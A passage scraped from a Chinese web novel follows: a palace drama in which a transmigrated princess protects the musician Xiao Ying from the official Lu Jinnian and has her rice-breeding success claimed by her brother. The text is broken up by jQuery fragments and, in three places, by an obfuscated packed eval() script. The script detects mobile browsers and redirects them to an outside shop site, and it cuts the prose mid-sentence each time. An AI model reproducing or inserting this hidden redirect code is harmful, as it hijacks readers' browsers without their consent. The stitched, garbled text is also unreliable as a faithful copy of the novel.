$(''.inform'').remove(); $(''#content'').append('' 了一月有余。早不找晚不找,偏偏这个时候找。 温吟知身形未动一步:“刺客必不可能出自栖鸾宫。他们若是栖鸾宫之人,何必等到太医院才刺杀本公主。” 陆今年反而更上前一步:“是与不是让本官一查便知,请公主让路。” 温吟知正面迎上陆今年,一字一句说道:“若本公主不让呢——” 陆今年左偏头立即回正一笑,同时手中的尚方宝剑直指温吟知脖间:“那就别怪本官秉公做事了。” “公主!”春雪惊呼,春婳下意识摸向腰间藏着的匕首被温吟知悄悄按下。 温吟知也上前一步,剑直抵她喉间:“陆大人真是好有本事,父皇连这尚方宝剑都能给你。但你真敢从本公主的尸体上踏过去吗?” “公主金枝玉叶,本官自是不敢伤公主一分一毫。”陆今年手中剑缓缓撤回:“但这群奴才,本官还是下得了手的。” 陆今年手中的尚方宝剑迅速改架在春雪的脖子上,春雪的脖间立刻冒出鲜红的血丝,他带来的侍卫也拔刀指向栖鸾宫宫人。 “公主——”陆今年笑容亲切:“如何呢?现在能配合本官办案了吗?” 在场所有人都在等温吟知的决定,特别是春婳春雪。一旦让陆今年入内搜查,且不说会让对方将栖鸾宫的底细探查的一干二净外。单凭宫内多了一名还未登记在册的男子,就不能让陆今年的人入内。 春婳开口:“公主,昨日才定婚事,不能让他们……”春婳相信公主能听懂她的话下之意,她可以用自己的方式处理此事,却被温吟知强硬地打断:“让他们进去。” “公主!”春婳十分不赞同地唤温吟知,温吟知充耳不闻,只是更加用力攥紧春婳的手腕。 得此命令,陆今年终于放下架在春雪脖子上的尚方宝剑。得以解脱的春雪心有余悸地摸了摸脖子。 “公主,麻烦将栖鸾宫所有人员登记在册的户籍名单交于本官。”陆今年的目光越过众人,稳稳落在隐在人群里最出众的男子身上,意味深长道:“本官要对栖鸾宫所有人进行排查。” “给他。”温吟知干脆利落道。 陆今年是个疯子,他真的会杀不听令的宫人以儆效尤。温吟知无法拿任何人的命去赌,她只能选择让步。 以权压权,终有一日也会被权反噬。她如今就是最好的写照。 春雪不情不愿地递上名册。 陆今年拿到名册第一时间不是翻开它,而是指着人群中的肖郢说:“公主此人是谁,此等身段面貌瞧着并不似宫中太监。他可是在这名册之上吗?” 温吟知并未回身都知晓陆今年所说何人,她道:“这位公子是本公主从宫外为父皇生辰请来的乐师,今日刚入宫还未曾登记在册。” “乐师?”陆今年戏谑地念着这两个字,“公主带乐师入宫不带他去教坊司,反而带入后宫中?” 这一句话暗讽意味十足,温吟知蹙着眉心,无法反驳。这一次是她技不如人,被抓到了把柄。 陆今年合上名单册子,双手背在身后,挑眉直视温吟知:“既然未登记在册便有嫌疑,本官要带他去刑部走一趟,查明此人的身份。” “只是这刑部自有一套审查流程,若是哪里碰着伤着公主的人了,还请公主海涵。”陆今年先礼后兵,温和有礼提前朝温吟知致歉。 温吟知哪里不明白,此刻只要她敢要人不让陆今年带走肖郢,没多久她私养男宠的传闻便会天下皆知。但若不要人,刑部大牢里常常有扛不住刑罚身故的。肖郢本就是奴,在大牢里死一名奴隶,于他们而言是再正常不过的一件事。 温吟知长长吸一口气再轻轻地呼出,千百年来,破坏一名女子的贞洁,便是毁掉她最行之有效的方法。即使她贵为公主,也难堵天下悠悠之口。 陆今年是在赌肖郢在她的心中有多重要。 陆今年深邃的眸子染上零星笑意:“公主,本官可以把人带走了吗?” 10. 我如弃履 “公主,奴愿意跟这位大人走一趟。”肖郢的声音从身后传来。 温吟知回身,抬眸看向他。 在她身后的宫人纷纷往两侧退去,从中间为肖郢让出一条路来。 肖郢亦抬眼看向她。 温吟知的心脏莫名震颤起来。 她未发一言,亲眼看着肖郢迈步走向陆今年。 天色暗了许多,飘来一阵阵大雨欲来的风,煽动着紫薇树上的盛夏娇容。 风吹花落,紫薇花铺就他所走过的来时路。 肖郢走到陆今年正前面,神色自若道:“大人,走吧。” 这一声问候,陆今年这才真正端详起眼前人来。他不仅仅是俊美漂亮,除了柔和的眉眼和高挺的鼻梁外,天生自带的少年感与眼底不加以掩饰的淡漠相衬,反而给陆今年一种难以看透的距离感。 这种感觉很熟悉,就像……陆今年视线落在温吟知身上,就像另外一个温吟知站在他面前一样。 一样的气质冷然高绝,似远山栖雪。只不过温吟知身上带着一股与生俱来的傲劲,他却没有。 陆今年勾唇笑语:“有意思。” “带走。”陆今年双手一挥,下令。 有两侍卫上前左右各一边押解着肖郢的胳膊,动作粗鲁,毫不客气。 温吟知的指尖一点点攥紧。 密密绵绵的雨从空中落下,强劲的风雨打落栖鸾宫的一众紫薇花。早在雨势起苗头的时候,春婳就已入殿内取来油纸伞。温吟知站在风雨中,隔着雨帘凝视着前方。 温吟知忽然出声制止:“等等!” 陆今年停下脚步,晃悠悠地笑着斜晲温吟知。 肖郢亦停下,回头看向她。雨水从他的脸颊滑落,他一双清冷的眼睛氤氲上盈盈的雾气,浓密的睫羽上挂着的小水珠遮去了他原本的视线。 雨似乎小了,肖郢感受不到雨落在身上的冰冷的温度。他缓缓抬起头,便瞧见她撑伞站在他身侧。 肖郢深邃的眸子一动不动地看着她,只余鬓间垂落的发丝微微随风飘动。天边微弱的光恰巧落在他的右脸上,照亮他一半的容颜。他明明很狼狈,却挡不住少年我见犹怜的美丽。 勾得温吟知的心,一阵阵发疼。 他明明什么都没做错,却因为她要受这无妄之灾。 酸涩染上喉间,她伸手扶起被押解而弯下身子的肖郢。侍卫自然不敢拦下她,且陆大人也未必阻止,他们便默默退至一侧。 温吟知将手中的伞塞到肖郢手中,也许是因为雨太大,她的眼中也蕴起了雾气。 侍卫有盔甲可以遮雨,陆今年还有人替他打伞。所有人都有伞,只有你没有。 每一次分别,你都在淋雨。 陆今年见状迅速走过来,夺过肖郢手中的油纸伞,并强行将肖郢的五指展开——肖郢的手中空空如也。 “本官以为公主通过递伞给了你什么东西,这才特地探查一番。”陆今年解释道,并将夺来的油纸伞归还给肖郢。 肖郢似乎早就习以为常,他平静地接受这这一切,并无一丝怒意。 陆今年见肖郢识趣,又迟迟未见温吟知有下一步动作。倒是仰头看看自己手中的油纸伞,自顾自地笑了笑,带着队伍离去。 待陆今年走后,温吟知依旧站在原地没动。陆今年最后抢肖郢伞那一出闹剧,他是故意的演给她看的,目的是想激怒她。 一个大祭司,竟然能有手持尚方宝剑的权利。今日陆今年胆敢将剑架在她的脖子上,他日他就敢就剑架在父皇的脖子上。顿时温吟知感觉一阵寒意从脚底生起,漫布全身。 春婳春雪一同跪在温吟知大雨中,道:“公主,我们愿意将功补过,请公主明示该如何补救。” 温吟知仰视宫中最高的摘星楼,楼上有着一道看不清的人影一直在那站着。 她道:“去钦天监。” 她要与颜晚周谈一笔合作。 —— 钦天监,摘星楼上。 颜晚周不愿意温吟知继续踏这趟浑水。 他直言不讳道:“陆今年的目的不是杀他,而是污公主名声。下官奉劝公主此事到此为止,继续纠缠下去,于公主而言没有一丝好处。” 温吟知充耳不闻:“你去向父皇请旨,协同陆今年一同审查刺客一事,我要你护住肖郢的命。作为回报……” “温吟知!”颜晚周打断她,凉薄的话语如银针般刺入她的心:“我说了此事到此为止,你要为了一个男人丢掉你的前程吗?” “颜晚周!”温吟知也回喊他大名,“我的前程会不会丢尚且不知,但若我不出手,他很有可能会死在牢里。” “我若丢的是前程,他丢的可是命啊……”说到最后她尾音里都带着颤声。 颜晚周眸光闪烁,唇上下启合几次却始终未开口。 因为——她说的对。 他与陆今年交手多年,最了解陆今年的性格秉性如何。那位叫肖郢的男子要是在温吟知这里失去了价值,结局只有死路一条。 “所有人的命都不该微小轻贱。”温吟知宽大的袖口被风吹得哗哗作响,她身上沾染着雨水的寒气,却怎么也遮挡不住眸光的光亮。 “今日若被陆今年带走的是你,我也一样会做出同样的选择。” 颜晚周眼底浮现出淡淡的惊异,温吟知很肯定地回视他:“因为你们都是雍朝的子民,生命都是平等的。” 至此,颜晚周眼底的惊异,彻底变成完全未曾预料到的惊愕。 温吟知沉重道:“你有句话说得对,如今的雍朝和太子哥哥在时的雍朝完全无法相比。” 父皇追求长生,陆今年宦官当政,雍朝的光景早就不如从前。 温吟知看着宫外的万家灯火,影影倬倬混在风雨中,更显得橙光温暖。 她眉目染上一缕愁思:“我要与你谈一笔合作。” 颜晚周凝眉:“公主请说。” 风雨中传来她沉静的声音:“你助我护下肖郢的命,我会将陆今年从大祭司的位置上拉下来。” “若我想要更多呢?” “那我便给你更多。” 颜晚周从鼻间轻呵一声,倒是有几分笑意。 “成交。”颜晚周应下,转身离开之际,他最后再说一言:“公主是臣从小看着长大,希望日后无论发生何事,公主都不要忘记今日同臣说的这番话。” 颜晚周比温吟知大十岁,从小看着她长大的,这句话倒也没差。 温吟知颔首,她自不会忘记自己的本心。 瞧见温吟知点头后的颜晚周方才离去。 颜晚周与陆今年斗了多年,向雍和帝讨同一份差事,雍和帝早已司空见惯。因此此事与他而言并不难,很顺利就办下来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309894|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他拿着圣旨火急火燎地赶到刑部时,陆今年正在刑部大牢里翘着二郎腿喝茶。 陆今年与颜晚周打着招呼:“这次这么晚,还差点以为你不来了。” 颜晚周并不打算搭理陆今年,开门见山问:“抓来的人呢?” 陆今年指挥着手下:“到谁了,快带上来。” 狱卒推着戴着脚铐的肖郢上前。 地牢里阴暗潮湿,肖郢即使有伞但风雨太大,来时还是淋了雨,并未能换上一身干净的衣裳。 “呦这不是公主带回栖鸾宫的乐师吗?”陆今年一瞧见肖郢便将二郎腿放下,很感兴趣地道:“叫什么名字。” 肖郢低垂着眼睫,答:“肖郢。” “肖郢呀,名字虽普通,长得却不普通,难怪能被公主看上。”陆今年调笑道。 颜晚周拍板冷声道:“注意你的言辞。” 陆今年弯唇:“颜大人本官哪句说错了吗?这位公子难道没被公主看上成为乐师吗?还是你说他长得普通?” “依本官看,颜大人长得还不如他出色。” 颜晚周忍不住瞪他一眼:“注意你的言辞不要与查案无关。” 陆今年耐心告罄,对颜晚周道:“本官是主审官,想怎么审就怎么审,还轮不到你来指手画脚。” 颜晚周皱起眉。 陆今年走下主审台,走到肖郢跟前,仔细端详他这张俊俏的脸,抬手捏住他的下颌道:“肖郢是吧,你与公主是何关系,如何识得公主的。” 肖郢被迫抬起头与陆今年直视,他道:“奴与公主并无关系。是在林氏山庄献艺有幸得公主入眼,方才带奴入宫,为陛下生辰宴做准备。” 陆今年看着肖郢那双瞳色清透的双眸,声音陡然转冷:“献艺?什么献艺,本官命你现在将当日情景重现一次。” 肖郢语气淡淡的:“奴一人完成不了二十四号人同心协力才能完成的舞台。” “既如此,本官也不为难你。”陆今年松开捏住肖郢下颌的手,笑吟吟道:“那你便在此跳个舞吧。” 此话一落,颜晚周冷声提醒道:“别忘了陛下派你是来审案的,不是来寻欢作乐的。” 陆今年低眸看了眼没有任何反应的肖郢,扁了一下嘴不屑理会颜晚周,继续同肖郢道:“本官现在就命令你舞一曲。” 肖郢低垂着眸,不为所动。 “怎么?能为公主跳得,到本官这里跳不得吗?你一阶下囚戏子,到这刑部生死全在本官一念之间。”陆今年微眯起眼:“本官让你跳,你就得跳。” 陆今年打定心眼,要让肖郢就在这刑部为他舞一曲。但偏偏一直对所有事物都很平淡的肖郢,此次却坚决地站起身,拱手行礼道:“这与查案无关,怒难从命。” “一个戏子也要风骨是吧?”陆今年讥笑,招手挥来两位人高体壮的狱卒。狱卒各持一边按压着肖郢的身体,迫使肖郢跪在地上,压弯了他挺直的脊背。 陆今年转身去案牍上拿起沾了墨的毛笔,气势汹汹地在肖郢左脸上落笔。肖郢被迫承受着这一切,感受着毛笔从左侧脸颊落在脖颈上,一笔一画写在他的肌肤上。 目睹一切的颜晚周并未阻拦陆今年,公主交给他的任务是护下肖郢,陆今年此举只不过是为了欺辱肖郢,只不过是想借他的‘眼’告诉温吟知——“公主要护的人,我如弃履踩在脚底。” 11. 却盼熹光 温吟知从摘星楼回栖鸾宫后一直站在窗边,凝视着窗外无边细雨。 春婳在小声禀报着事情:“公主,封地那边传呈上的密信。此外林尚书已发现林二公子不见,暗地里派出不少人寻找。” 温吟知打开密信,大致扫了一眼后便将它扔进火盆子里烧了。 春雪心里揣着事,恳切寻求温吟知解答,担忧地问:“国师大人真的能救下肖公子吗?” 春婳也目光恳切地看向温吟知。 温吟知皱起眉头,似在思索。花坛上的稻穗被风雨吹弯了腰,发出沙沙作响的挣扎声。她藏在袖间的手不由握紧:“错了,解决问题的关键不在于他,而是我。” 春雪春婳相视一眼,温吟知抬手示意她俩退下。春婳春雪收到指示退出屋内,温吟知收回目光往床榻走去。 雨夜卧榻眠,本该周遭一切灰暗无光亮,此刻却烈日当照。 温吟知站在日头底下,环视周遭的环境。院中布景和林氏避暑山庄一模一样,可她记得她明明已回栖鸾宫。 这下温吟知便知自己是在梦中,而且还是个新梦境。她欢喜地抬起手捂住自己心口的位置,她这是……摆脱了困扰她两月已久的梦境吗? 温吟知笑得舒朗恣意,肆意地往四周走去。远远地她便瞧见了一道熟悉的身影,肖郢穿着橙边白色交领素衣,蹲在屋子外连接二楼的楼梯下不知道在看着什么。 肖郢?她以前从未梦见过他。这次,又会是个怎么样的故事呢? 带着好奇,温吟知悄悄靠近肖郢。 梦里的肖郢背对她,未曾发现她的靠近。温吟知在距离肖郢三步的距离时,便停下了。因为她发现,肖郢正眉眼含笑地将手指……放在一只小橘猫头上。 这是她第一次见肖郢笑,眉目温和,眼眸盈光。 他温柔地抚摸着看上去才一个多月大小橘猫额头,柔和得连垂下来的每根发丝都在诉说着他的欢喜。 这样的肖郢,她只在千年之后的肖赢身上见过。如今他就站在她眼前,温吟知亲眼看着肖郢小心翼翼地抱起小橘猫抱在怀里,径直地从她面前走过。 他看不见她。 温吟知悄悄跟了上去,肖郢抱着猫咪走进了偏院。 院子里头传来小厮的交谈声: “那戏子终于答应为宫里的贵人献舞一曲。” “早些点头答应,那十八般酷刑,他便不用熬了,白受那些苦干嘛。” “不过他真被贵人看上,我们先前如此对他,他不会报复我们吧?” “一个贵人手里的玩物,还能耐杀人放火不曾?” 接着酒杯互碰,两人发出哈哈大笑的声音。嬉笑过后,诡异的无声了。 肖郢一直摸着怀中猫咪的额头,在确定屋子里的人都彻底没声后,他进去单手拿起了一坛酒。 温吟知听到那十八般酷刑后,整个人都被乌云笼罩着。那是被禁止偷用的私刑,父皇是明令禁止的。第一刑是很多罪大恶极的刑犯都闻风丧胆的,用针穿过肉扎进手指盖。 肖郢他竟然受过这十八般酷刑吗? “他们说的都是真的吗?如果是,你为什么不反抗?你可以跑出去报官,你要相信雍朝不可能都是贪官坏人。”温吟知激动地问他,想听他否认那些曾经遭受的酷刑。 但梦里的肖郢听不见。 他将酒坛里的酒洒满整间屋子,怀中的猫咪似乎感到不安,低声哀叫了两声。肖郢单手安抚着它,另外一只手继续将未开封的酒全数洒满屋内,以及院子外。 温吟知察觉到不对劲。 肖郢布置好一切后,从屋外反锁好门后,抱着猫缓缓向外走去。 接着温吟知看见肖郢从袖中掏出火折子,随后将其往身后一抛。绚烂的火光顿时在他身后燃起,火光四射,浓烟四起。 顿时,炙热滚烫的红色占据了温吟知的全部视线。熟睡中的人应当被下了迷药不知道这一切,没有凄厉的惨叫,只有他从火光中走来。 温吟知怔怔地看着他,无法置信自己看见的一切。 他烧了一屋子的人,救了一只猫。 凄厉的惨叫声虽迟但到,被锁在屋子里酒量尚浅的小厮醒了。那被烧得断壁残垣的窗户里露出一张烧毁的人脸,他在奋力地求救。 肖郢充耳不闻,温吟知也说不出一句替他们求饶的话。 那张狰狞的人脸淹没在人海中,最终汹涌的火势吞灭了所有的一切,包括站在火海里没有移动的她。 梦境结束。 “肖郢……”温吟知睁开眼睛,入目是薄如蝉翼的纱帐。 她惊慌地看向守在塌边的春雪。 此时,天光已大亮。 温吟知抬起手,春雪立刻伸手去搀扶她,吞吞吐吐地:“公主似乎又梦魇了。” “嗯。”温吟知淡淡应了一声,思绪还停留在方才那个梦中。 春雪扶着温吟知走向梳妆台,边走边说:“公主,一直暗中盯着林家的探子回禀。昨夜林家避暑山庄走水,将林二公子烧伤了。林家对外宣称,林二公子闭门修养暂不见客。” 温吟知闻言,错愕转头:“走水?” 林家的避暑山庄即是避暑专用,自然不容易起火。而且怎么和她昨夜的梦有几分类似,也是起火。只不过梦里的纵火真凶如今还在刑部大牢,自然这把火不可能是肖郢放的。 春雪连忙解释:“昨夜未曾瞧见林二公子被林家寻回,这火应当是林家面上用来掩饰寻找林二公子的借口。” 温吟知抿唇,她一直以为自己这两个月做的都是预知梦,可是昨夜的梦境却与现实有重大的出入。难道只有反复做一个梦,才是预知梦吗? 她暂时想不通此番缘故是为何,但至少知晓林家没有找到阿白。这算是今日听到的第一则好消息。 “肖公子如何了。”温吟知问。 春雪脸色一沉,将昨夜颜晚周传回来的消息复述给温吟知听。 —— “生如蜉蝣,却盼熹光。去如朝暮,逐光幻梦。” “小子,你命好,得本官此生第一首诗写于脸上。”陆今年拍拍肖郢的肩,皮笑肉不笑道:“这是本官给你的面子。” 肖郢一直被狱卒屈辱地按压着,根本不知晓脸上被题了首诗。可颜晚周却是真真切切瞧见上面的字,陆今年以蜉蝣喻肖郢,以熹光喻公主,嘲讽他追逐那些不切实际的梦想或希望。 可蜉蝣生命只有一日,如何能有去如朝暮?颜晚周自以为是陆今年学艺不精的原因。 “行了,本官乏了。今夜便到此吧。”陆今年拍拍手,因为今夜诗意大发,心情不错选择放过肖郢。 陆今年是说一不二的性子,他话一落,便真的带人撤出去。让今晚还以为会有一场‘大战’要打的颜晚周有些意外。 狱卒顿时放开肖郢,肖郢狼狈地坐在地上。 颜晚周徐徐走到肖郢跟前,面无表情地道:“本官会将今夜所发生的一切回禀给公主,你可有话要本官带给公主。” 肖郢沉默地从地上起身,向颜晚周行礼以表示感谢。礼毕后,转身向自己的牢房走去。 清冷的月光透过地牢的天窗落在他身上,萦绕着他。白肤黑字,左脸连同脖颈的两行诗句,字字讥讽。他面上却无一丝恼意,只是轻咳着,小步迈着沉重的脚镣往回走。 颜晚周看着他,他本该是受辱后的愤怒、屈辱、不甘,亦或者是满满的破碎感,可他一点都没有。本该我见犹怜的外表下,是一双深邃捉摸不透的平静双眸。 破碎与坚毅的矛盾感反复在他的身上出现,深深吸引地颜晚周忍不住想去探究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309895|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “肖郢身上也有属于他自己的‘傲’。”听完春雪复述,温吟知忍不住说道。 春雪凝眉:“傲?他这是在怨公主招来这无妄之灾吗?” 温吟知摇头,肖郢绝对不是这样的人。不说其它,单凭她被陆今年刁难,他主动站出来跟陆今年走这件事,就可以看出他的为人如何。从头到尾,他都未曾开口让她救他。 “他不语,只是因为信我,会成功将他救出去。”温吟知看向栖鸾宫内花坛上,一夜风雨后反而没被压倒更加粒粒饱满的稻穗,会心一笑。 很奇怪吧,为什么花坛里种满了稻子? 因为她从穿越至今就一直都在做一件事,她也想为这个朝代做出些什么贡献。 她记得杂交水稻的原理,她从三岁起就让人每年都在宫内种稻子,这十三年来一直都在研究提高雍朝粮食的产量。 雍朝的粮食每亩产量为二石三斗,换算成现代单位相当于每亩产275斤左右。但温吟知这些年通过科学的种植和对种子的改良,她封地的稻子去年产量已经达到了每亩三石三斗,相当于现代的395斤左右。 她三岁时第一次提出要在宫里种稻子的时候,其他的兄弟都在背地里笑她,不爱名花爱稻花,一点嫡出贵女的品味都没有。只有太子哥哥会轻柔地抚摸着她的秀发,温柔地问她:“哥哥最宝贝的浓浓呀,为什么喜欢稻花呀?” 她记得她当时的回答。 “因为稻花能结出稻穗,浓浓想让天下所有人都吃饱饭。” 当时太子哥哥十分开心地笑弯了双眼,满眼柔和地夸赞她:“浓浓就是世上最好的浓浓,是其他哥哥弟弟们不懂浓浓的好心。哥哥先替天下人谢谢浓浓,也替其他哥哥弟弟们给浓浓道歉。” “浓浓要记得,喜欢无高低贵贱之分。” 她那温柔似水的太子哥哥,是她众兄弟妹妹中最喜欢的人。 自幼她便觉得太子哥哥是最适合做皇帝的不二人选,太子哥哥继位后的雍朝,必然会在他的统治下更繁荣昌盛。 那时的她学着幼儿童真的口吻说道:“太子哥哥,浓浓一定要在哥哥登基前,要种出能结很多稻穗的稻子作为礼物送给哥哥。” 但是三年前她还没培育出更好的稻种,太子哥哥便去了。太子哥哥走后,她更加努力去做这件事,直到去年她的研究才有所突破。 温吟知心中不由染上几丝悲切。 “哥哥,如果不出意外的话,今年粮食的产量会更高。” “可惜这些你都看不到了。” 一阵突如其来的风猛地吹过稻穗,发出沙沙的声响,仿佛在回应着她的话。 她抬起头看天上一尘不染的天空,眉眼含笑道:“哥哥我不难过,我知道哥哥在天上都能看得到。” “浓浓是开心。” “是开心浑浑噩噩过了这么多年,终于找到人生的目标。” 窗外随风摇曳的稻穗舞动得更加欢快。 温吟知瞬间红了眼眶,她竭力吞咽着呼吸,对着天上道:“哥哥,浓浓也不怕污名。” “当初哥哥没走完的路,没做完的事,所留下的遗憾。浓浓去替哥哥完成。” 温吟知仰起头深吸了口气,像是做了许久的争斗后,方才缓缓吐出一句:“哥哥……会相信浓浓可以做到吗?” 回应她的是一阵更猛烈的风吹响花坛中的稻穗。 她想,她知道答案了。 于是温吟知中气十足地喊道:“春雪,拿把刀来!” 被现场氛围渲染,正沉浸在悲伤情绪中的春雪:“啊?” 反而是春婳从树上跳下来,掏出藏于腰间的匕首。 温吟知拿着匕首走到花坛边,对着里面的稻穗,平稳一割。 一把金色的稻穗落在她手中。 12. 小名浓浓 卯时,用现代的话来说就是早上五点至七点之间。 按时辰阴阳之分,称为少阳,是夜晚结束太阳刚露头破晓的时候,亦是上朝点卯的时候。 春雪附耳在温吟知私语:“陛下今日依旧没上朝,还是由林尚书令和颜中书令共同协理朝政。” 温吟知颔首,父皇半年前从陆今年口中得知,卯时的阳气最纯净,最适合修行开始,就时常不上朝。如今她想要见父皇,只能去养心殿外候着。 估算着时间,温吟知用过早膳来到养心殿时。殿内除了她父皇雍和帝在,还多了一个熟悉的人——温元钦。 可温元钦不是还在禁足中吗?为何会出现在这里。又为何她来时,父皇是笑着的。 温吟知压下心中疑惑,上前行礼:“浓浓拜见父皇,四哥哥。” 自太子哥哥死后,温吟知难得见父皇对四哥有如此开怀的时刻。大多数时候父皇都是在沉着脸,用恨铁不成钢的眼神看着四哥,表达着无声的失望。 爱板着脸的皇帝老儿在女儿面前,却是一个很好的慈父。 雍和帝笑呵呵招手:“浓浓来了。” “来得真巧,父皇刚好有一件喜事要同你说。”雍和帝用力地拍了拍她四哥温元钦的肩膀,“钦儿,你自个同你妹妹说。” 从温吟知进殿至今,一直沉默的温元钦行揖礼道:“是。” 他的嘴角噙着分明的笑意,将手中的折子递给温吟知:“浓浓,这是四哥今年封地呈上来的折子。” 温吟知接过折子,还未曾打开便有一种不祥的预感围绕着她。 温元钦温和地盯着她,继续说着他的功绩:“今年春种时,哥哥发现有些种子长得十分好,便下令在自己封地推广。没想到这批早稻竟然有如此大的产量,达到了每亩三石三斗。” 每亩三石三斗,这不是她去年刚研制出的种稻产量吗? “折子上说民间老百姓都在称赞你四哥做了一件利国利民的好事。”雍和帝笑得眼角边的皱纹更深了,“有了这批稻子,百姓们的日子必然会好过不少。父皇打算要将此稻种在民间推广开来。” 温吟知握着木匣子的手不由攥紧。 她抬眼,冷静道:“四哥的种子是如何来的。” “自然是农户呈上来的,在众多稻种中筛选出来的。”温元钦回答。 温吟知垂下头,发出低低的笑声,问:“这么巧的事吗?父皇不是一直都知晓,女儿这些年都在做什么吗?” “女儿在自己的封地划了几十亩田在种稻子,去年的女儿的一亩田的产量刚好是三石三斗。”她对上雍和帝缓缓收回的的笑容,又转头对温元钦道:“真是太巧了,四哥。” 温元钦皱眉,语气里染上丝丝怒意:“浓浓,你这话是什么意思。” “就字面上的意思。”温吟知从袖中拿出一封密函递给雍和帝。 雍和帝接过她手上的密封,温吟知将装着稻穗的木匣子打开呈上,亲手为雍和帝沏了杯茶。 她捧着茶,认真看着雍和帝道:“儿臣研究了十余年的稻种产量,去岁的时候才有所突破。因担忧着产量是否稳定,所以去岁没先同父皇说,想着今年再试验一次,以证成果。昨日下面的人递上密信称,今年封地每亩稻子产量已达到四石。” 去年产量提高后,她继续选用两个有差异、互补优良的水稻品种,让它们进行杂交。果不其然,今年稻穗长势比去年还要好。 面对如此的好消息,雍和帝脸上反而没有多大的欣喜,也没接温吟知手上的茶。他放下手中的册子,晲了两眼木匣子中粒粒饱满的稻穗,坐回龙椅上对二人道:“你们二人都种出每亩三石三斗产量的稻子,都是来源同一批稻种吗?” 温元钦跪下,抢先开口道:“儿子不知,只是瞧着去年封地上这批稻种收成不错,便取了些也在自己府中种植,府中下人均为人证,且儿子还篆书记载了稻子的生长全程。” 温吟知到此刻,终于知晓温元钦葫芦里卖什么药,为何能解除禁令了。 他早就想盗取她的劳动成果! 温元钦必须得有一件像样的功绩,才能让父皇解除他禁足的禁令。为了防止她发现他的计谋,恰巧春婳又带了肖郢回宫,这便给了温元钦下手的机会。 借肖郢一事拖住她,以达成目的。若是她为了肖郢不管不顾一切,那就更中他意。 他这位四哥,实事干不出功绩,宫心计却很了得。 温吟知不可置信地轻笑一声道:“父皇你信吗?” 顿时养心殿内落针可闻,谁也未曾出声。还是在片刻之后,雍和帝沉着声音对地上的温元钦说:“钦儿,还不快谢谢你妹妹研究出更好的稻种。” 温吟知脸上的笑容一点点收回,温元钦嘴角的弧度忍不住悄悄上扬。 温元钦欣喜:“多谢浓浓……” 温吟知看也没看他一眼,只是紧紧盯着雍和帝问:“父皇此话何意,难道要将女儿的功劳,拱手让给四哥吗?” 雍和帝静看着她沉默不语,温吟知就当他这个态度算是默认了。 “为什么?”她不甘心反问,彻底放下手中的茶盏。 雍和帝用指尖敲了敲龙椅扶手,斟酌开口:“民间都已知晓你四哥手上有每亩产三石三斗的稻种,且浓浓你是父皇最疼爱的公主,不需要这等虚名。” 女子无才便是德的朝代,要这等虚荣做什么,自然是要留给登基的皇子准备的。 “原来如此。”温吟知语气淡了下去。 这个大环境便是如此,女子无立席之地。温吟知早就猜到她要做女帝,第一个跳出来反对的便是她父皇,因此她心里算不上有多难过。 人嘛,要用历史的眼光看问题。 她只是很轻柔地反问雍和帝:“父皇还记得当初为何要给女儿取名‘浓浓’二字吗?” 父皇为她赐名温吟知,小名浓浓。 母后说:“浓,是淡妆浓抹总相宜的浓。” 父皇说:“也是浓重一笔的浓。” 这段历史性的对话也曾发生在她现代父母的身上,无论古今她都叫温吟知,小名浓浓。是淡妆浓抹总相宜的浓,也是浓重一笔的浓。 浓浓,承载着两世父母对她的期望。 “浓浓的浓,也是在历史上留下浓重色彩的浓。”温吟知彻底向雍和帝阐明了自己的心思。 站在一旁的温元钦错愕不已,没有想到温吟知竟然如此胆大妄为! 她起身,动作端庄地向雍和帝行礼:“您弱冠登帝,而立之年扩西域,收边疆,是自古以来第一位统一西域的帝王。女儿觉得父皇是历史上最公平明智的帝王,” “更相信父皇会看到女儿的。” 一顿先夸后扬的话并没有打动雍和帝,他听过太多太多恭维他的话了。 雍和帝眯着眼打量着自己的女儿:“浓浓,这些年父皇还是对你管教太过宽松了,宽松到竟然起了不该起的心思。” 温吟知不慌不乱地回复:“父皇还记得两年前凌城有飓风,海水泛溢,至河流改道,伤民田二百一十五顷。您当年派四哥前去赈灾,商议河流改道一事。” 温元钦制止她:“今日稻子产量一事与两年前此事何干?” 温吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309896|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知没管他,继续将话说完。 “第二年凌城再度有飙风,经改道的凌河反而河水上涨,伤民田三百二十一顷,二十六名百姓丧生。您让四哥滚回去收拾自己弄的烂摊子。” 她沉着一张脸看着温元钦,冷厉的陈述事实:“是儿臣前往凌城,领着工部众人冒着大雨在河里泡着,巩固河床才成功将河流改道。” 不是她有金手指,有系统帮助或者运气好。而是发生人命那年,她便生了心思跟着去凌城。她自己的兄弟她都知道是什么德行,靠他们根本靠不住。 